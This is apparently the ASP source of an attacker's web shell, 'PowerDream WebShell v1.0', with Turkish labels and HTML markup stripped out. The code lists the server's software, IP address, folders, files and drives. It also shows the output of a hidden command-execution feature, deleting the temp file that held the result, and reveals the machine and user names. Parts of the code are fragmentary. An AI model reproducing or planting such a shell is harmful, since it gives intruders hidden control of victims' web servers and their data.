PowerDream WebShell v1.0
|
Server Bilgileri: |
|Web Server : <%=request.servervariables("SERVER_SOFTWARE")%> |IP Server: <%=request.servervariables("LOCAL_ADDR")%> | Protocol:
<% = Request.ServerVariables("SERVER_PROTOCOL") %>
| |
Dizinler: <%=server.mappath("pd.asp")%> |
|
Direktörler |
Arsivler |
|
<% On Error Resume Next
dim contador
contador=1
For Each Pasta in ObjPasta.Subfolders
Response.Write Contador & "-) "& Pasta.Name & " " contador=contador+1 next%> |
<%On Error Resume Next
For Each Archivo in ObjPasta.Files
Response.Write Archivo.Name & " " Next%> |
CMD Bilgileri: |
<% If (IsObject(oFile)) Then On Error Resume Next Response.Write Server.HTMLEncode(oFile.ReadAll) oFile.Close Call oFileSys.DeleteFile(szTempFile, True) End If %>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
_____________________________________________________________________________________________________
<%set ObjPasta = nothing set Objeto = nothing%> <%set ObjPasta = nothing set Objeto = nothing%>
|
Extra Bilgiler
|
|
Hard Diskler
|
Tipleri
|
Numaralari
|
Sistem Bilgileri ve Arsivler
|
Limit
|
Total
|
|
<%=d.driveletter%>
|
<%
IF d.DriveType = 0 Then
s = "Unknown"
IF d.VolumeName = "" Then
n = " "
Else
n = d.VolumeName
END IF
ELSEIF d.drivetype=1 THEN
s="Removable"
IF d.isready THEN
n=d.volumename
ELSE
n="--"
END IF
ELSEIF d.drivetype=2 THEN
s="Fixed"
IF d.isready THEN
n=d.volumename
ELSE
n="--"
END IF
ELSEIF d.drivetype=3 THEN
s="Network"
IF d.isready THEN
n=d.sharename
ELSE
n="--"
END IF
ELSEIF d.drivetype=4 THEN
s="CDROM"
IF d.isready THEN
n=d.volumename
ELSE
n="--"
END IF
ELSEIF d.drivetype=5 THEN
s="RAM Disk"
IF d.isready THEN
n=d.volumename
ELSE
n="--"
END IF
END IF
response.write(s)
%>
|
<%=n%>
|
<%
str=""
str=str & d.driveletter
str=str & ":"
'response.write(str)
IF d.isready THEN
set sp=fs.getdrive(str)
response.write(sp.filesystem)
ELSE
response.write("--")
END IF
%>
|
<%
str=""
str=str & d.driveletter
str=str & ":"
'response.write(str)
IF d.isready THEN
freespace = (d.AvailableSpace / 1048576)
set sp=fs.getdrive(str)
response.write(Round(freespace,1) & " MB")
ELSE
response.write("--")
END IF
%>
|
<%
str=""
str=str & d.driveletter
str=str & ":"
'response.write(str)
IF d.isready THEN
totalspace = (d.TotalSize / 1048576)
set sp=fs.getdrive(str)
response.write(Round(totalspace,1) & " MB")
ELSE
response.write("--")
END IF
%>
|
Server Hakkýnda Geniþ Bilgi